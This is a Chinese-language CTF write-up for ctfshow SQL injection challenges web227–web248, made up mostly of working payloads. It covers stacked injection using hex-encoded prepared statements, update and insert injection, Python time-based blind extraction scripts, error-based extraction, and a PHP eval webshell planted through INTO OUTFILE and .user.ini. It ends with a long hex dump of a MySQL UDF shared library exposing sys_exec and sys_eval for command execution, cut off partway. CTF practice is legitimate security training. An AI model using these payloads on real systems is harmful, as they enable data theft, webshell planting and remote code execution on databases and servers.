解决:用预处理语句、16进制来绕过
select * from ctfsh_ow_flagas

?username=0';prepare a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute a;#

解释:
prepare 准备
execute a真正执行

web227

查询语句

//分页查询  
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

//师傅说过滤的越多越好  
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){  
    die(json_encode($ret));  
  }

难点:需要查看存储过程和函数的状态
通过查询 information_schema.routines 表来查看存储过程和函数的详细信息
存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数来调用执行
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用
select * from information_schema.routines

?username=0';prepare a from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute a;

web228

查询语句

  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
  $bansql = "select char from banlist;";

返回逻辑

  //师傅说内容太多,就写入数据库保存
  if(count($banlist)>0){
    foreach ($banlist as $char) {
      if(preg_match("/".$char."/i", $username)){
        die(json_encode($ret));
      }
    }
  }

$bansql是黑名单
select * from ctfsh_ow_flagasaa

?username=';PREPARE a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE a;

web229

select * from flag

?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c6167;EXECUTE a;

web230

select * from flagaabbx

?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE a;

web231

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

考点:update 注入

解决:
POST:

password=1',username=database()#&username=1

WEB入门——sql注入-9.png
返回:

ctfshow_web

POST:

password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1

WEB入门——sql注入-10.png
返回:

banlist,ctfshow_user,flaga

POST:

password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1

WEB入门——sql注入-11.png
返回:

id,flagas,info

POST:

password=1',username=(select flagas from flaga) where 1=1#&username=1

web232

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

重新闭合就行

password=1'),username=database()#&username=1

返回:

ctfshow_web

步骤跟之前一样

password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1

password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa') where 1=1#&username=1

password=1'),username=(select flagass from flagaa) where 1=1#&username=1

web233

  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

不知道为啥只能用时间盲注

import requests
import time

url='http://ccdf0750-e352-4196-8cd6-c53e860c7254.challenge.ctf.show/api/'

flag=''
for i in range(60):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)#"
        #payload=f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))<{j},sleep(0.02),1)#"
        payload=f"' or if(ascii(substr((select group_concat(flagass233) from flag233333),{i},1))<{j},sleep(0.02),1)#"

        data={
            'username': payload,
            'password':'1'}
        try:
            r=requests.post(url=url,data=data,timeout=0.35)
            min=j
        except:
            max=j

        time.sleep(0.3)

web234

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

难点:过滤了单引号
分析:
反斜杠来绕过

$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";

\ 转义了后面的 '
这个 ' 不再是字符串结束符,pass就是如下字符串

pass='\' where username = '

解决方法:
POST:

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#

password=\&username=,username=(select flagass23s3 from flag23a)#

WEB入门——sql注入-12.png

web235

查询语句

//分页查询  
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

返回逻辑

//过滤 or ' flag information_schema

解决:
mysql.innodb_table_stats来代替information_schema
table_schema就要改成database_name
POST:

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

返回:

banlist,ctfshow_user,flag23a1

无列名注入:

password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)a)#

解释:
内层子查询:

select 1,2,3
union
select * from flag23a1

select的列按位置对齐

select group_concat(`2`) from ( ... ) a

`2` 是列名叫做 “2” 的那一列,列名来自第一条 select 1,2,3
所以2 = flag 列内容

select group_concat(`2`)
from (
  select 1,2,3
  union
  select * from flag23a1
) a

凡是出现在 FROM 后面的子查询,必须提供别名,这里是别名a

web236

同上

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)#

password=\&username=,username=(select `2` from (select 1,2,3 union select * from flaga)a limit 1,1)#

web237

考点:insert注入

  $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
username=helloworld',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1

username=helloworld',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#&password=1

username=helloworld',(select group_concat(flagass23s3) from flag))#&password=1

web238

难点:过滤空格
解决:用括号
POST:

username=helloworld',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1

username=helloworld',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#&password=1

username=helloworld',(select(group_concat(flag))from(flagb)));#&password=1

web239

难点:过滤了空格和or,information_schema用不了了
解决:用mysql.innodb_table_stats
POST:

username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1

username=1',(select(flag)from(flagbb)));#&password=1

web240

难点:表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
解决:爆破
前面都是在flag里,所以flag先确定下来

import requests  
import itertools  
url = "http://813eb4f9-fbad-471d-893e-6038e8c96ecc.challenge.ctf.show/api/insert.php"  
for i in itertools.product('ab', repeat = 5):  
    tables = "flag" + ''.join(i)  
    payload = {  
        'username': f"1',(select(group_concat(flag))from({tables})))#",  
        'password': '1'  
    }  
    r = requests.post(url=url, data=payload)

解释:
for i in itertools.product('ab', repeat = 5):
字符集:a b
长度:5
总组合数:2^5 = 32
生成结果:

aaaaa
aaaab
aaaba
...
bbbbb

web241

//删除记录
$sql = "delete from  ctfshow_user where id = {$id}";

难点:没有回显的位置
解决:盲注
时间盲注

import requests  
import time  
url='http://cc1c78da-96c2-40a8-a926-d51bf449031d.challenge.ctf.show/api/delete.php'  
flag=''  
for i in range(1,100):  
    min=32  
    max=128  
    while 1:  
        j=min+(max-min)//2  
        if min==j:  
            flag+=chr(j)  
            print(flag)  
            break  
        #payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"  
        #payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))<{j},sleep(0.02),1)"        payload=f"if(ascii(substr((select group_concat(flag) from flag),{i},1))<{j},sleep(0.02),1)"  
        data={  
            'id':payload  
        }  
        try:  
            r=requests.post(url=url,data=data,timeout=0.35)  
            min=j  
        except:  
            max=j  
  
        time.sleep(0.3)

web242

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

OPTION参数为可选参数选项,其可能的取值有:
FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。
LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

接口:

api/dump.php

LINES STARTING BY '字符串':设置每行数据开头的字符
POST:

filename=flag.php' LINES STARTING BY '<?php eval($_GET[1]);?>'#

访问页面

url/dump/ma.php?1=system('cat /flag.here');

WEB入门——sql注入-13.png

web243

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

难点: 过滤了php
解决:
利用user.ini

filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#

然后再传1.jpg

filename=1.jpg' LINES STARTING BY '<?=eval($_GET[1]);?>'#

访问

/dump/index.php?1=system('cat /flag.here');

解释:
编码前:


auto_prepend_file=1.jpg

为保证auto_prepend_file=1.jpg在单独一行,所以在开头结尾都加上了0x0a来换行

web244

  //备份表
  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

考点:报错注入
extractvalue:

/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e))+--+

/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),20,30),0x7e))+--+

updatexml:

/api/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

/api/?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)--+

/api/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e),1)+--+

/api/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),20,30),0x7e),1)+--+

web245

考点:报错注入
难点:过滤了updatexml
解决用extractvalue

/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag1) from ctfshow_flagsa),1,30),0x7e))+--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag1) from ctfshow_flagsa),20,30),0x7e))+--+

web246

考点:报错注入
难点:过滤updatexml extractvalue
解决:
1.floor()、round()、ceil()
2.exp() //5.5.5版本之后可以使用
3.name_const
4.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错

/api/?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+

/api/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1), 0x7e,floor(rand(0)*2))b from information_schema.tables group by b --+

/api/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1), 0x7e,floor(rand(0)*2))b from information_schema.tables group by b --+

/api/?id=1' union select 1,count(*),concat(0x7e,(select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+

web247

考点:报错注入
难点:过滤updatexml extractvalue floor
解决:
改成round
表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符

/api/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+

/api/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+

/api/?id=' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa ), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+

解释:字段名flag变成了flag?,表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符

web248

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

考点:UDF注入
解决:
把dll文件写到目标机子的plugin目录

1'; select @@plugin_dir; --+

查出路径为

/usr/lib/mariadb/plugin/

然后CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; //导入udf函数
利用堆叠注入写进去

import requests
base_url="http://994eba84-9ea5-4701-b204-01320382100c.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000